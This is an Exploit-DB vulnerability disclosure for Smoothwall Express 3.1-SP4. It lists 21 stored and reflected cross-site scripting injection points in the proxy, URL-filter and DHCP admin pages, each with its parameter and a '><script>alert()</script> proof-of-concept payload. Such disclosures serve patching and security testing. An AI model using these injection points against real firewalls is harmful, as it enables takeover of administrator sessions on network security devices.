Exploit-DB #46333
Description: Smoothwall Express 3.1-SP4 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2019-02-11
Author: Ozer Goker

Exploit:
##################################################################################################################################
# Exploit Title: Smoothwall Express 3.1-SP4-polar-x86_64-update9 |
Cross-Site Scripting
# Date: 06.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: http://www.smoothwall.org
# Software Link: https://sourceforge.net/projects/smoothwall/files/SmoothWall/3.1%20SP4/Express-3.1-SP4-x86_64.iso/download
# Version: 3.1-SP4-polar-x86_64-update9
##################################################################################################################################

Introduction
The Smoothwall Open Source Project was set up in 2000 to develop and maintain Smoothwall Express - a Free firewall that includes its own security-hardened GNU/Linux operating system and an easy-to-use web interface.


#################################################################################

XSS details: Reflected & Stored

#################################################################################

XSS1 | Stored

URL
http://192.168.2.200:81/cgi-bin/proxy.cgi?

METHOD
Post

PARAMETER
CACHE_SIZE

PAYLOAD
'><script>alert(1)</script>

#################################################################################

XSS2 | Stored

URL
http://192.168.2.200:81/cgi-bin/proxy.cgi?

METHOD
Post

PARAMETER
MAX_SIZE

PAYLOAD
'><script>alert(2)</script>

#################################################################################

XSS3 | Stored

URL
http://192.168.2.200:81/cgi-bin/proxy.cgi?

METHOD
Post

PARAMETER
MIN_SIZE

PAYLOAD
'><script>alert(3)</script>

#################################################################################

XSS4 | Reflected

URL
http://192.168.2.200:81/cgi-bin/proxy.cgi?

METHOD
Post

PARAMETER
MAX_OUTGOING_SIZE

PAYLOAD
'><script>alert(4)</script>

#################################################################################

XSS5 | Stored

URL
http://192.168.2.200:81/cgi-bin/proxy.cgi?

METHOD
Post

PARAMETER
MAX_INCOMING_SIZE

PAYLOAD
'><script>alert(5)</script>

#################################################################################

XSS6 | Stored

URL
http://192.168.2.200:81/cgi-bin/urlfilter.cgi

METHOD
Post

PARAMETER
REDIRECT_PAGE

PAYLOAD
'><script>alert(6)</script>

#################################################################################

XSS7 | Reflected

URL
http://192.168.2.200:81/cgi-bin/urlfilter.cgi

METHOD
Post

PARAMETER
CHILDREN

PAYLOAD
'><script>alert(7)</script>

#################################################################################

XSS8 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
BOOT_SERVER

PAYLOAD
'><script>alert(8)</script>

#################################################################################

XSS9 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
BOOT_FILE

PAYLOAD
'><script>alert(9)</script>

#################################################################################

XSS10 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
BOOT_ROOT

PAYLOAD
'><script>alert(10)</script>

#################################################################################

XSS11 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
START_ADDR

PAYLOAD
'><script>alert(11)</script>

#################################################################################

XSS12 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
END_ADDR

PAYLOAD
'><script>alert(12)</script>

#################################################################################

XSS13 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
DNS1

PAYLOAD
'><script>alert(13)</script>

#################################################################################

XSS14 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
DNS2

PAYLOAD
'><script>alert(14)</script>

#################################################################################

XSS15 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
NTP1

PAYLOAD
'><script>alert(15)</script>

#################################################################################

XSS16 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
NTP2

PAYLOAD
'><script>alert(16)</script>

#################################################################################

XSS17 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
WINS1

PAYLOAD
'><script>alert(17)</script>

#################################################################################

XSS18 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
WINS2

PAYLOAD
'><script>alert(18)</script>

#################################################################################

XSS19 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
DEFAULT_LEASE_TIME

PAYLOAD
'><script>alert(19)</script>

#################################################################################

XSS20 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
MAX_LEASE_TIME

PAYLOAD
'><script>alert(20)</script>

#################################################################################

XSS21 | Reflected

URL
http://192.168.2.200:81/cgi-bin/dhcp.cgi?

METHOD
Post

PARAMETER
DOMAIN_NAME

PAYLOAD
'><script>alert(21)</script>

##############################################################